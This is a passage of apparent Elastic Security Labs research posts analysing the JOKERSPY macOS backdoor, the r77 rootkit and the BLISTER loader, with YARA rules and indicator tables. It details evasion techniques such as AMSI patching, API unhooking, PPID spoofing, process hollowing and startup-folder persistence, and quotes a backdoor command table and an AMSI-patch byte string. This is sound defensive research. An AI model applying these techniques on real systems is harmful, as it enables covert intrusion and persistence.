During analysis of this binary, researchers identified two unique paths, /Users/joker/Developer/Xcode/DerivedData/ and /Users/joker/Downloads/Spy/XProtectCheck/XProtectCheck/ , which stood out as anomalous. The default path for compiling code with Xcode is /Users/[username]/Developer/Xcode/DerivedData.

Abusing TCC

These introspection permissions are managed by the native Transparency, Consent, and Control (TCC) feature. Researchers determined that xcc checks FullDiskAccess and ScreenRecording permissions, as well as checking if the screen is currently locked and if the current process is a trusted accessibility client.

Upon successfully executing in our Detonate environment, the following results were displayed:

Once the custom TCC database was placed in the expected location, the threat actor executed the xcc binary.

Initial access

The xcc binary was executed via bash by three separate processes

/Applications/IntelliJ IDEA.app/Contents/MacOS/idea
/Applications/iTerm.app/Contents/MacOS/iTerm2
/Applications/Visual Studio Code.app/Contents/MacOS/Electron.

While we are still investigating and continuing to gather information, we strongly believe that the initial access for this malware was a malicious or backdoored plugin or 3rd party dependency that provided the threat actor access. This aligns with the connection that was made by the researchers at Bitdefender who correlated the hardcoded domain found in a version of the sh.py backdoor to a Tweet about an infected macOS QR code reader which was found to have a malicious dependency.

Deployed cryptographic libraries

On May 31st, researchers observed three non-native DyLibs deployed to /Users/shared/keybag/ called libcrypto.1.0.0.dylib , libncursesw.5.dylib , and libssl.1.0.0.dylib. On MacOS, keys for file and keychain Data Protection are stored in keybags, and pertain to iOS, iPadOS, watchOS, and tvOS. At this time, researchers propose that this staging serves a defense evasion purpose and speculate that they may contain useful vulnerabilities. The threat actor may plan to introduce these vulnerabilities to otherwise patched systems or applications.

The sh.py backdoor

sh.py is a Python backdoor used to deploy and execute other post-exploitation capabilities like Swiftbelt .

The malware loads its configuration from ~/Public/Safari/sar.dat. The configuration file contains crucial elements such as command-and-control (C2) URLs, a sleep timer for beaconing purposes (the default value is 5 seconds), and a unique nine-digit identifier assigned to each agent.

As part of its periodic beaconing, the malware gathers and transmits various system information. The information sent includes:

Hostname
Username
Domain name
Current directory
The absolute path of the executable binary
OS version
Is 64-bit OS
Is 64-bit process
Python version

Below is a table outlining the various commands that can be handled by the backdoor:

| Command | Description | | ------- | ------------------------------------------------------------------------------------- | | sk | Stop the backdoor's execution | | l | List the files of the path provided as parameter | | c | Execute and return the output of a shell command | | cd | Change directory and return the new path | | xs | Execute a Python code given as a parameter in the current context | | xsi | Decode a Base64-encoded Python code given as a parameter, compile it, then execute it | | r | Remove a file or directory from the system | | e | Execute a file from the system with or without parameter | | u | Upload a file to the infected system | | d | Download a file from the infected system | | g | Get the current malware's configuration stored in the configuration file | | w | Override the malware's configuration file with new values |

Swiftbelt

On June 1st, the compromised system registered a signature alert for MacOS.Hacktool.Swiftbelt, a MacOS enumeration capability inspired by SeatBelt and created by the red-teamer Cedric Owens. Unlike other enumeration methods, Swiftbelt invokes Swift code to avoid creating command line artifacts. Notably, xcc variants are also written using Swift.

The signature alert indicated that Swiftbelt was written to /Users/shared/sb and executed using the bash shell interpreter, sh. The full command line observed by researchers was Users/Shared/sb /bin/sh -c /users/shared/sb \> /users/shared/sb.log 2\>&1 , demonstrating that the threat actor captured results in sb.log while errors were directed to STDOUT.

Diamond Model

Elastic Security utilizes the Diamond Model to describe high-level relationships between the adversaries, capabilities, infrastructure, and victims of intrusions. While the Diamond Model is most commonly used with single intrusions, and leveraging Activity Threading (section 8) as a way to create relationships between incidents, an adversary-centered (section 7.1.4) approach allows for a, although cluttered, single diamond.

Observed tactics and techniques

MITRE ATT&CK Tactics

Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action. These are the tactics observed by Elastic Security Labs in this campaign:

MITRE ATT&CK Techniques / Sub techniques

Techniques and Sub techniques represent how an adversary achieves a tactical goal by performing an action. These are the techniques observed by Elastic Security Labs in this campaign:

Detection logic

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the JOKERSPY backdoor and SwiftBelt tool.

rule Macos_Hacktool_JokerSpy {
    meta:
        author = "Elastic Security"
        creation_date = "2023-06-19"
        last_modified = "2023-06-19"
        os = "MacOS"
        arch = "x86"
        category_type = "Hacktool"
        family = "JokerSpy"
        threat_name = "Macos.Hacktool.JokerSpy"
        reference_sample = "d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8"
        license = "Elastic License v2"

    strings:
        $str1 = "ScreenRecording: NO" fullword
        $str2 = "Accessibility: NO" fullword
        $str3 = "Accessibility: YES" fullword
        $str4 = "eck13XProtectCheck"
        $str5 = "Accessibility: NO" fullword
        $str6 = "kMDItemDisplayName = *TCC.db" fullword
    condition:
        5 of them
}

rule MacOS_Hacktool_Swiftbelt {
    meta:
        author = "Elastic Security"
        creation_date = "2021-10-12"
        last_modified = "2021-10-25"
        threat_name = "MacOS.Hacktool.Swiftbelt"
        reference_sample = "452c832a17436f61ad5f32ee1c97db05575160105ed1dcd0d3c6db9fb5a9aea1"
        os = "macos"
        arch_context = "x86"
        license = "Elastic License v2"

    strings:
        $dbg1 = "SwiftBelt/Sources/SwiftBelt"
        $dbg2 = "[-] Firefox places.sqlite database not found for user"
        $dbg3 = "[-] No security products found"
        $dbg4 = "SSH/AWS/gcloud Credentials Search:"
        $dbg5 = "[-] Could not open the Slack Cookies database"
        $sec1 = "[+] Malwarebytes A/V found on this host"
        $sec2 = "[+] Cisco AMP for endpoints found"
        $sec3 = "[+] SentinelOne agent running"
        $sec4 = "[+] Crowdstrike Falcon agent found"
        $sec5 = "[+] FireEye HX agent installed"
        $sec6 = "[+] Little snitch firewall found"
        $sec7 = "[+] ESET A/V installed"
        $sec8 = "[+] Carbon Black OSX Sensor installed"
        $sec9 = "/Library/Little Snitch"
        $sec10 = "/Library/FireEye/xagt"
        $sec11 = "/Library/CS/falcond"
        $sec12 = "/Library/Logs/PaloAltoNetworks/GlobalProtect"
        $sec13 = "/Library/Application Support/Malwarebytes"
        $sec14 = "/usr/local/bin/osqueryi"
        $sec15 = "/Library/Sophos Anti-Virus"
        $sec16 = "/Library/Objective-See/Lulu"
        $sec17 = "com.eset.remoteadministrator.agent"
        $sec18 = "/Applications/CarbonBlack/CbOsxSensorService"
        $sec19 = "/Applications/BlockBlock Helper.app"
        $sec20 = "/Applications/KextViewr.app"
    condition:
        6 of them
}

References

The following were referenced throughout the above research:

https://www.bitdefender.com/blog/labs/fragments-of-cross-platform-backdoor-hint-at-larger-mac-os-attack

Observations

The following observables were discussed in this research.

| Observable | Type | Name | Reference | | ---------------------------------------------------------------- | ------- | ------------------- | ------------------------ | | app.influmarket[.]org | Domain | n/a | sh.py domain | | d895075057e491b34b0f8c0392b44e43ade425d19eaaacea6ef8c5c9bd3487d8 | SHA-256 | /Users/Shared/xcc | Macos.Hacktool.JokerSpy | | 8ca86f78f0c73a46f31be366538423ea0ec58089f3880e041543d08ce11fa626 | SHA-256 | /Users/Shared/sb | MacOS.Hacktool.Swiftbelt | | aa951c053baf011d08f3a60a10c1d09bbac32f332413db5b38b8737558a08dc1 | SHA-256 | /Users/Shared/sh.py | sh.py script |

Elastic Security Labs steps through the r77 rootkit

Salim Bitam — Mon, 22 May 2023 00:00:00 GMT

Key takeaways

r77 is a stealthy open source rootkit that is being used to deploy the XMRIG crypto miner
r77 uses several modules as a way to successfully install and maintain persistence
Campaign authors are leaning heavily on open source tools and scripts, possibly to abstract attribution or reduce development costs

Preamble

Elastic Security Labs has uncovered a malicious crypto miner that had been deployed in several Asian countries. The campaign owners are using an open source userland rootkit, called r77.

r77’s primary purpose is to hide the presence of other software on a system by hooking important Windows APIs, making it an ideal tool for cybercriminals looking to carry out stealthy attacks. By leveraging the r77 rootkit, the authors of the malicious crypto miner were able to evade detection and continue their campaign undetected.

In this research, we will highlight the inner workings of the r77 rootkit and explore how it was used in conjunction with the crypto miner. We hope to raise awareness of the ongoing threat posed by cybercriminals and encourage individuals and organizations to take proactive steps to protect their systems and networks.

Code analysis

Overview

The rootkit is comprised of 4 distinct modules:

The installer module.
The stager module.
The service module.
The core module.

We will cover each module and phase in detail below.

Installer module

Its first task is to store the stager module PE in the registry, a technique commonly used by malware authors to persistently store their malicious code on a system. Once the stager module is stored in the registry, the installer module builds a PowerShell command that loads the stager module from the registry and executes it, the installer module then creates a scheduled task to run the PowerShell command.

The installer locates the stager module stored as a PE resource named EXE , it then creates a new registry key called $77stager in the HKEY_LOCAL_MACHINE\SOFTWARE hive and writes the stager module to the key.

The installer then builds a PowerShell command to reflectively load the .NET stager in memory, using the [Reflection.Assembly]::Load method. Additionally, Microsoft’s Antimalware Scan Interface (AMSI) is circumvented by patching the AmsiScanBuffer API so that it will always return an AMSI_RESULT_CLEAN response. AMSI_RESULT_CLEAN means that the scanned content is “Known good. No detection found, and the result is likely not going to change after a future definition update.” The PowerShell command is then obfuscated by replacing variable names with random strings.

Finally, the installer creates a scheduled task to execute the PowerShell command using COM objects, the task is configured to execute at startup with the SYSTEM account.

Stager module

The stager is a .NET-based binary and it is responsible for unhooking DLLs, adjusting the SeDebugPrivilege setting, decrypting and decompressing the service module, and injecting the service module. This is accomplished using a process hollowing technique into a newly spawned process under another legitimate process through PPID spoofing.

API unhooking

To defeat the userland inline API hooking set by endpoint solutions, the stager module first completely unhooks two important DLLs that contain the API used by the rootkit, namely NTDLL.dll and KERNEL32.dll.

This technique involves the following steps:

Retrieving the DLL : The stager module reads the target DLL file from the disk.
Mapping the DLL to memory : The stager module creates a new file mapping using the CreateFileMapping function, which allows the DLL to be loaded into the process's memory.
Analyzing the DLL's section table : The stager module analyzes the section table of the newly mapped DLL to identify the relevant section where the executable code (often referred to as the .text section) is stored.
Overwriting the code section : Once the .text section is identified, the stager module replaces the contents of the corresponding section in the already loaded DLL with the code from the fresh .text section.

SeDebugPrivilege

The stager module next attempts to obtain the SeDebugPrivilege which allows it to inspect and adjust the memory of other processes.

This technique triggers Elastic’s SeDebugPrivilege Enabled by a Suspicious Process detection rule.

Service module decryption and decompression

Two versions of the same service module are stored in the resource section of the stager, a 32-bit and 64-bit version that will be deployed according to the system architecture.

The payload is compressed using the GZip compression algorithm and it uses a simple XOR for decryption. After decompression, the stager uses the first 4-bytes as an XOR key to decrypt the rest of the data.

Parent PID spoofing

To make the process hollowing injection appear legitimate, the parent PID spoofing technique is used to evade threat hunters and security tooling. This technique allows attackers to run processes under any parent process they want.

The malware first gets the process ID of the running winlogon.exe process which is a component of the Microsoft Windows operating system.

It then uses 5 Windows APIs:

OpenProcess : Get the parent process handle.
InitializeProcThreadAttributeList : Initialize the attribute list.
UpdateProcThreadAttribute: Set the parent process handle via the PROC_THREAD_ATTRIBUTE_PARENT_PROCESS attribute.
CreateProcess: Creates a new process under the spoofed parent

This technique triggers Elastic’s Parent Process PID Spoofing detection rule.

Process hollowing

The malware leverages the process hollowing technique to inject its payload into a legitimate-looking Microsoft process, it chooses either C:\Windows\System32\dllhost.exe or C:\Windows\SysWow64\dllhost.exe depending on the malware and the machine architecture. To further obfuscate its presence, the malware generates a random GUID and generates a command line string, assigning it to the newly created process. This command line string includes the /processid: parameter and the GUID to mimic the behavior of a genuine dllhost.exe process and make it more difficult to detect.

![Malware executing the process hollowing technique](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image9.jpg

Service module

The service module is another essential component of the r77 rootkit responsible for carrying out critical tasks such as configuration setup in the registry. One of the primary tasks of the service module is to inject the rootkit's core into every running process on the system.

Unhooking DLLs

Using the same technique used in the stager, the binary unhooks both NTDLL.dll and KERNEL32.dll.

Config setup

The service module stores the configuration as registry entries; it first creates a key in the HKEY_LOCAL_MACHINE** SOFTWARE\$77config** file that can be modified by any user on the machine.

It then stores the current process ID running the service module as a value in a registry key named either “svc32” or “svc64” under the key HKEY_LOCAL_MACHINE** SOFTWARE\$77config\pid**. The svc32/64 key name is based on the system architecture.

Injecting the core rootkit

The final task of the service module is to create two callbacks that are responsible for injecting the final rookit’s core. The core is a DLL stored as a resource in every running process except a handful specified by the threat actor in the configuration before compiling the rootkit.

The first callback is responsible for injection into every running process of the rootkit’s core, it does that by enumerating all running processes every 100 ms.

The second callback is responsible for injection into newly created child processes of already infected parent processes, an inter-process communication between the service and an infected process is used to catch child process creation.

The rootkit’s core hooks multiple Windows APIs. One of the important APIs is NtResumeThread. A parent process calls this API to start the thread execution after the creation of the child process, the installed hook sends the child’s PID to the service module through a named PIPE, in turn, the service module injects into it if the conditions allow it.

The threat actors purposely avoid injection into these specific processes:

MSBuild.exe
Services.exe
regsvr32.exe
Svchost.exe
WmiPrvSE.exe
OffOn.exe
OnOff.exe
rutserv.exe
rfusclient.exe
RMS.exe
msiexec.exe
Ma_ss.exe
masscan.exe
NLBrute.exe
run.exe
Checker.exe
Xfit.exe
cracker64.exe
SSH_Checker.exe
ViewLog.exe

The rootkit’s core

The last module is the core module, responsible for installing hooks on important Windows APIs and filtering the output of said APIs according to the rootkit’s configuration. It is a DLL loaded into running processes by the service module. Its main purpose is to set hooks using the Detours project on important Windows API namely

NtQuerySystemInformation
NtResumeThread
NtQueryDirectoryFile
NtQueryDirectoryFileEx
NtEnumerateKey
NtEnumerateValueKey
EnumServiceGroupW
EnumServicesStatusExW
NtDeviceIoControlFile

These Native Windows APIs are used to enumerate/fetch information about the system, an example of that is regedit which relies heavily on NtEnumerateKey and NtEnumerateValueKey to enumerate the system’s registry keys. The installed hook is capable of enumerating the keys and filtering out keys that are configured by the threat actors, the rest is forwarded to the regedit process.

By filtering the output of the Windows APIs, the core module is able to selectively hide specific files, processes, or registry keys from the system's users and security tools.

Packed PowerShell

Upon further examination, our team discovered an additional binary file within the miner campaign: $77_loader.exe. This file, which was packed with SAPIEN PowerShell Studio, is a .NET binary that loads an embedded PowerShell script and executes it. This PowerShell script serves as the orchestrator for the entire miner campaign, directing the various processes and actions necessary to successfully install and operate a legitimate and popular crypto miner. The PowerShell script was responsible for downloading a compiled version of the open source XMRIG miner. Specifically, the version used in this campaign was 6.15.2 , which was released in October 2021. Interestingly, the download appeared to originate from the domain msupdate[.]info, a well-documented and malicious domain.

![PowerShell script attempt to download XMRIG](/assets/images/elastic-security-labs-steps-through-the-r77-rootkit/image9.jpg

The script included code to configure and execute the r77 rootkit and was responsible for opening specific firewall ports including 703 , 708 , 757 , 999 , 8080 , 443 , 80 , 14444 , 24444 , and 34444. The script also downloaded and set up the Remote Manipulator System (RMS) tool, a closed source program for remote administration, developed by the Russian company TektonIT, which could be used to remotely control the infected machine and issue commands from a remote location. Finally, the script created a new admin user ( adm ) on the targeted system, which could potentially be used to carry out additional attacks or exfiltrate sensitive data.

Detection logic

Prevention

Detection

YARA

Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the r77 rootkit.

rule Windows_Rootkit_R77_1 {
    meta:
        author = "Elastic Security"
        creation_date = "2022-03-04"
        last_modified = "2022-04-12"
        license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        category_type = "Rootkit"
        family = "R77"
        threat_name = "Windows.Rootkit.R77"
        reference_sample = "cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c"

    strings:
        $a = { 01 04 10 41 8B 4A 04 49 FF C1 48 8D 41 F8 48 D1 E8 4C 3B C8 }
    condition:
        all of them
}

rule Windows_Rootkit_R77_2 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-05-09"
        license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        category_type = "Rootkit"
        family = "R77"
        threat_name = "Windows.Rootkit.R77"
        reference_sample = "21e7f69986987fc75bce67c4deda42bd7605365bac83cf2cecb25061b2d86d4f"

    strings:
        $a1 = { 8C 20 88 00 00 00 42 8B 44 21 10 42 8B 4C 21 1C 48 2B D0 49 }
        $a2 = { 53 00 4F 00 46 00 54 00 57 00 41 00 52 00 45 00 5C 00 24 00 37 00 37 00 63 00 6F 00 6E 00 66 00 69 00 67 00 }
    condition:
        all of them
}

rule Windows_Rootkit_R77_3 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-09"
        last_modified = "2023-05-09"
        license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        category_type = "Rootkit"
        family = "R77"
        threat_name = "Windows.Rootkit.R77"
        reference_sample = "3dc94c88caa3169e096715eb6c2e6de1b011120117c0a51d12f572b4ba999ea6"

    strings:
        $a1 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 24 00 37 00 37 00 63 00 68 00 69 00 6C 00 64 00 70 00 72 00 6F 00 63 00 36 00 34 00 }
        $a2 = { 5C 00 5C 00 2E 00 5C 00 70 00 69 00 70 00 65 00 5C 00 24 00 37 00 37 00 63 00 68 00 69 00 6C 00 64 00 70 00 72 00 6F 00 63 00 33 00 32 00 }
    condition:
        all of them
}

rule Windows_Rootkit_R77_4 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-18"
        last_modified = "2023-05-18"
        license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        category_type = "Rootkit"
        family = "R77"
        threat_name = "Windows.Rootkit.R77"
        reference_sample = "91c6e2621121a6871af091c52fafe41220ae12d6e47e52fd13a7b9edd8e31796"

    strings:
        $a = { 33 C9 48 89 8C 24 C0 00 00 00 4C 8B CB 48 89 8C 24 B8 00 00 00 45 33 C0 48 89 8C 24 B0 00 00 00 48 89 8C 24 A8 00 00 00 89 8C 24 A0 00 00 00 }
    condition:
        $a
}

rule Windows_Rootkit_R77_5 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-18"
        last_modified = "2023-05-18"
        license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        category_type = "Rootkit"
        family = "R77"
        threat_name = "Windows.Rootkit.R77"
        reference_sample = "916c805b0d512dd7bbd88f46632d66d9613de61691b4bd368e4b7cb1f0ac7f60"

    strings:
        $r77_str0 = "$77stager" wide fullword
        $r77_str1 = "$77svc32" wide fullword
        $r77_str2 = "$77svc64" wide fullword
        $r77_str3 = "\\\\.\\pipe\\$77childproc64" wide fullword
        $r77_str4 = "SOFTWARE\\$77config"
        $obfuscate_ps = { 0F B7 04 4B 33 D2 C7 45 FC 34 00 00 00 F7 75 FC 66 8B 44 55 90 66 89 04 4B 41 3B CE }
        $amsi_patch_ps = "[Runtime.InteropServices.Marshal]::Copy([Byte[]](0xb8,0x57,0,7,0x80,0xc3)" wide fullword
    condition:
        ($obfuscate_ps and $amsi_patch_ps) or (all of ($r77_str*))
}

rule Windows_Rootkit_R77_6 {
    meta:
        author = "Elastic Security"
        creation_date = "2023-05-18"
        last_modified = "2023-05-18"
        license = "Elastic License v2"
        os = "Windows"
        arch = "x86"
        category_type = "Rootkit"
        family = "R77"
        threat_name = "Windows.Rootkit.R77"
        reference_sample = "96849108e13172d14591169f8fdcbf8a8aa6be05b7b6ef396d65529eacc02d89"

    strings:
        $str0 = "service_names" wide fullword
        $str1 = "process_names" wide fullword
        $str2 = "tcp_local" wide fullword
        $str3 = "tcp_remote" wide fullword
        $str4 = "startup" wide fullword
        $str5 = "ReflectiveDllMain" ascii fullword
        $str6 = ".detourd" ascii fullword
        $binary0 = { 48 8B 10 48 8B 0B E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 08 48 8B 4B 08 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 10 48 8B 4B 10 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 18 48 8B 4B 18 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 20 48 8B 4B 20 E8 ?? ?? ?? ?? 85 C0 74 ?? 48 8B 57 28 48 8B 4B 28 E8 ?? ?? ?? ?? 85 C0 }
        $binary1 = { 8B 56 04 8B 4F 04 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 08 8B 4F 08 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 0C 8B 4F 0C E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 10 8B 4F 10 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 14 8B 4F 14 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 18 8B 4F 18 E8 ?? ?? ?? ?? 85 C0 74 ?? 8B 56 1C 8B 4F 1C }
    condition:
        (all of ($str*)) or $binary0 or $binary1
}

References

The following were referenced throughout the above research

Observations

All observables are also available for download in both ECS and STIX format.

The following observables were discussed in this research.

| Indicator | Type | Name | Reference | | ---------------------------------------------------------------- | ------- | --------------- | --------------------------------------- | | msupdate[.]info | Domain | n/a | C2 | | 5.133.65.53 | IPV4 | n/a | C2 | | 5.133.65.54 | IPV4 | n/a | C2 | | 5.133.65.55 | IPV4 | n/a | C2 | | 5.133.65.56 | IPV4 | n/a | C2 | | 916c805b0d512dd7bbd88f46632d66d9613de61691b4bd368e4b7cb1f0ac7f60 | SHA-256 | $77_Install.exe | Installer module | | 9fb38412cac94255a3abbec80f15620098a0c85247690850c302a9ff060b5c0c | SHA-256 | n/a | Stager module | | 96849108e13172d14591169f8fdcbf8a8aa6be05b7b6ef396d65529eacc02d89 | SHA-256 | n/a | 64 bit core module | | aeb6a7b9ca890dc08259d7c239eb188e466210d48a17640671cba398bf69392f | SHA-256 | n/a | 32 bit core module | | 91c6e2621121a6871af091c52fafe41220ae12d6e47e52fd13a7b9edd8e31796 | SHA-256 | n/a | 64 bit service module | | 29bc88a316e3f34ed29c5358e459b9fbf3b7962a72cac388ab5c977dd990ea77 | SHA-256 | n/a | 32 bit Service module | | 10165e27e0db0a6708f346ddea657ab0409499f93eb8426a80864a966f0f401e | SHA-256 | RMS.exe | Remote Manipulator System(RMS) | | 757fa687a9b4d461ffda78d93e4d812003307a9b9747dce7fb469625429cc551 | SHA-256 | $77_oracle.exe | XMRIG miner | | a7e31abe10be6bca44f0a846d631e578efe78c14f6bf1cf834cfb15469fc1d3a | SHA-256 | $77_Loader.exe | .NET binary loading a PowerShell script |

BLISTER Loader

Cyril François,Daniel Stepanic,Salim Bitam — Thu, 13 Apr 2023 00:00:00 GMT

Key Takeaways

BLISTER is a loader that continues to stay under the radar, actively being used to load a variety of malware including clipbankers, information stealers, trojans, ransomware, and shellcode
In-depth analysis shows heavy reliance of Windows Native API’s, several injection capabilities, multiple techniques to evade detection, and counter static/dynamic analysis
Elastic Security is providing a configuration extractor that can be used to identify key elements of the malware and dump the embedded payload for further analysis
40 days after the initial reporting on the BLISTER loader by Elastic Security, we observed a change in the binary to include additional architectures. This shows that this is an actively developed tool and the authors are watching defensive countermeasures

For information on the BLISTER malware loader and campaign observations, check out our blog post and configuration extractor detailing this:

BLISTER Campaign Analysis

BLISTER Configuration Extractor

Overview

The Elastic Security team has continually been monitoring the BLISTER loader since our initial release at the end of last year. This family continues to remain largely unnoticed, with low detection rates on new samples.

A distinguishing characteristic of BLISTER’s author is their method of tampering with legitimate DLLs to bypass static analysis. During the past year, Elastic Security has observed the following legitimate DLL’s patched by BLISTER malware:

| Filename | Description | | -------------- | ------------------------------------------------------------------ | | dxgi.dll | DirectX Graphics Infrastructure | | WIAAut.DLL | WIA Automation Layer | | PowerCPL.DLL | Power Options Control Panel | | WIMGAPI.DLL | Windows Imaging Library | | rdpencom.dll | RDPSRAPI COM Objects | | colorui.dll | Microsoft Color Control Panel. | | termmgr.dll | Microsoft TAPI3 Terminal Manager | | libcef.dll | Chromium Embedded Framework (CEF) Dynamic Link Library | | CEWMDM.DLL | Windows CE WMDM Service Provider | | intl.dll | LGPLed libintl for Windows NT/2000/XP/Vista/7 and Windows 95/98/ME | | vidreszr.dll | Windows Media Resizer | | sppcommdlg.dll | Software Licensing UI API |

Due to the way malicious code is embedded in an otherwise benign application, BLISTER may be challenging for technologies that rely on some forms of machine learning. Combined with code-signing defense evasion, BLISTER appears designed with security technologies in mind.

Our research shows that BLISTER is actively developed and has been linked in public reporting to LockBit ransomware and the SocGholish framework; in addition, Elastic has also observed BLISTER in relation to the following families: Amadey, BitRAT, Clipbanker, Cobalt Strike, Remcos, and Raccoon along with others.

In this post, we will explain how BLISTER continues to operate clandestinely, highlight the loader’s core capabilities (injection options, obfuscation, and anti-analysis tricks) as well as provide a configuration extractor that can be used to dump BLISTER embedded payloads.

Consider the following sample representative of BLISTER for purposes of this analysis. This sample was also used to develop the initial BLISTER family YARA signature, the configuration extraction script, and evaluate tools against against unknown x32 and x64 BLISTER samples.

Execution Flow

The execution flow consists of the following phases:

Deciphering the second stage
Retrieving configuration and packed payload
Payload unpacking
Persistence mechanisms
Payload injection

Launch / Entry Point

During the first stage of the execution flow, BLISTER is embedded in a legitimate version of the colorui.dll library. The threat actor, with a previously achieved foothold, uses the Windows built-in rundll32.exe utility to load BLISTER by calling the export function LaunchColorCpl :

Rundll32 execution arguments

rundll32.exe "BLISTER.dll,LaunchColorCpl"

The image below demonstrates how BLISTER’s DLL is modified, noting that the export start is patched with a function call (line 17) to the malware entrypoint.

If we compare one of these malicious loaders to the original DLL they masquerade as, we can see where the patch was made, the function no longer exists:

Deciphering Second Stage

BLISTER’s second stage is ciphered in its resource section (.rsrc).

The deciphering routine begins with a loop based sleep to evade detection:

BLISTER then enumerates and hashes each export of ntdll, comparing export names against loaded module names; searching specifically for the NtProtectVirtualMemory API:

Finally, it looks for a memory region of 100,832 bytes by searching for a specific memory pattern, beginning its search at the return address and leading us in the .rsrc section. When found, BLISTER performs an eXclusive OR (XOR) operation on the memory region with a four-byte key, sets it’s page protection to PAGE_EXECUTE_READ with a call to NtProtectVirtualMemory, and call its second stage entry point with the deciphering key as parameter:

Obfuscation

BLISTER’s second-stage involves obfuscating functions, scrambling their control flow by splitting their basic blocks with unconditional jumps and randomizing basic blocks’ locations. An example of which appears below.

BLISTER inserts junk code into basic blocks as yet another form of defense evasion, as seen below.

Retrieving Configuration and Packed Payload

BLISTER uses the previous stage’s four-byte key to locate and decipher its configuration.

The routine begins by searching its memory, beginning at return address, for its four-byte key XORed with a hardcoded value as memory pattern:

When located, the 0x644 byte configuration is copied and XOR-decrypted with the same four-byte key:

Finally, it returns a pointer to the beginning of the packed PE, which is after the 0x644 byte blob:

See the configuration structure in the appendix.

Time Based Anti Debug

After loading the configuration, and depending if the kEnableSleepBasedAntiDebug flag (0x800) is set, BLISTER calls its time-based anti-debug function:

This function starts by creating a thread with the Sleep Windows function as a starting address and 10 minutes as the argument:

The main thread will sleep using NtDelayExecution until the sleep thread has exited:

Finally the function returns 0 when the sleep thread has run at least for 9 1/2 minutes:

If not, the function will return 1 and the process will be terminated:

Windows API

Blister’s GetModuleHandle

BLISTER implements its own GetModuleHandle to evade detection, the function takes the library name hash as a parameter, iterates over the process PEB LDR’s modules and checks the hashed module’s name against the one passed in the parameter:

Blister’s GetProcAddress

BLISTER’s GetProcAddress takes the target DLL and the export hash as a parameter, it also takes a flag that tells the function that the library is 64 bits.

The DLL can be loaded or mapped then the function iterates over the DLL’s export function names and compares their hashes with the ones passed in the parameter:

If the export is found, and its virtual address isn’t null, it is returned:

Else the DLL is LdrLoaded and BLISTER’s GetProcAddress is called again with the newly loaded dll:

Library Manual Mapping

BLISTER manually maps a library using NtCreateFile in order to open a handle on the DLL file:

Next it creates a section with the handle by calling NtCreateSection with the SEC_IMAGE attribute which tells Windows to loads the binary as a PE:

NtCreateSection used within mapping function

Finally it maps the section with NtMapViewOfSection :

x32/x64 Ntdll Mapping

Following the call to its anti-debug function, BLISTER manually maps 32 bit and 64 bit versions of NTDLL.

It starts by mapping the x32 version:

Then it disables SysWOW64 redirection:

And then maps the 64 bit version:

Then if available, the mapped libraries will be used with the GetProcAddress function, i.e:

LdrLoading Windows Libraries and Removing Hooks

After mapping 32 and 64 bit NTDLL versions BLISTER will LdrLoad several Windows libraries and remove potential hooks:

First, it tries to convert the hash to the library name by comparing the hash against a fixed list of known hashes:

If the hash is found BLISTER uses the LdrLoad to load the library:

Then BLISTER searches for the corresponding module in its own process:

And maps a fresh copy of the library with the module’s FullDllName :

BLISTER then applies the relocation to the mapped library with the loaded one as the base address for the relocation calculation:

Next BLISTER iterates over each section of the loaded library to see if the section is executable:

If the section is executable, it is replaced with the mapped one, thus removing any hooks:

x64 API Call

BLISTER can call 64-bit library functions through the use of special 64-bit function wrapper:

To make this call BLISTER switches between 32-bit to 64-bit code using the old Heaven’s Gate technique:

Unpacking Payload

During the unpacking process of the payload, the malware starts by allocating memory using NtAllocateVirtualMemory and passing in configuration information. A memcpy function is used to store a copy of encrypted/compressed payload in a buffer for next stage (decryption).

Deciphering

BLISTER leverages the Rabbit stream cipher, passing in the previously allocated buffer containing the encrypted payload, the compressed data size along with the 16-byte deciphering key and 8-byte IV.

Decompression

After the decryption stage, the payload is then decompressed using RtlDecompressBuffer with the LZNT1 compression format.

Persistence Mechanism

To achieve persistence, BLISTER leverages Windows shortcuts by creating an LNK file inside the Windows startup folder. It creates a new directory using the CreateDirectoryW function with a unique hardcoded string found in the configuration file such as: C:\ProgramDataUNIQUE STRING\\>

BLISTER then copies C:\System32\rundll32.exe and itself to the newly created directory and renames the files to UNIQUE STRING\>.exe and UNIQUE STRING\>.dll, respectively.

BLISTER uses the CopyModuleIntoFolder function and the IFileOperation Windows COM interface for bypassing UAC when copying and renaming the files:

The malware creates an LNK file using IShellLinkW COM interface and stores it in C:\Users\\AppData\Roaming\Microsft\Windows\Start Menu\Startup as UNIQUE STRING\\>.lnk

The LNK file is set to run the export function LaunchColorCpl of the newly copied malware with the renamed instance of rundll32. C:\ProgramData\UNIQUE STRING\>\UNIQUE STRING\>.exe C:\ProgramData\UNIQUE STRING\>\UNIQUE STRING\>.dll,LaunchColorCpl

Injecting Payload

BLISTER implements 3 different injection techniques to execute the payload according to the configuration flag:

Shellcode Execution

After decrypting the shellcode, BLISTER is able to inject it to a newly allocated read write memory region with NtAllocateVirtualMemory API, it then copies the shellcode to it and it sets the memory region to read write execute with NtProtectVirtualMemory and then executes it.

Own Process Injection

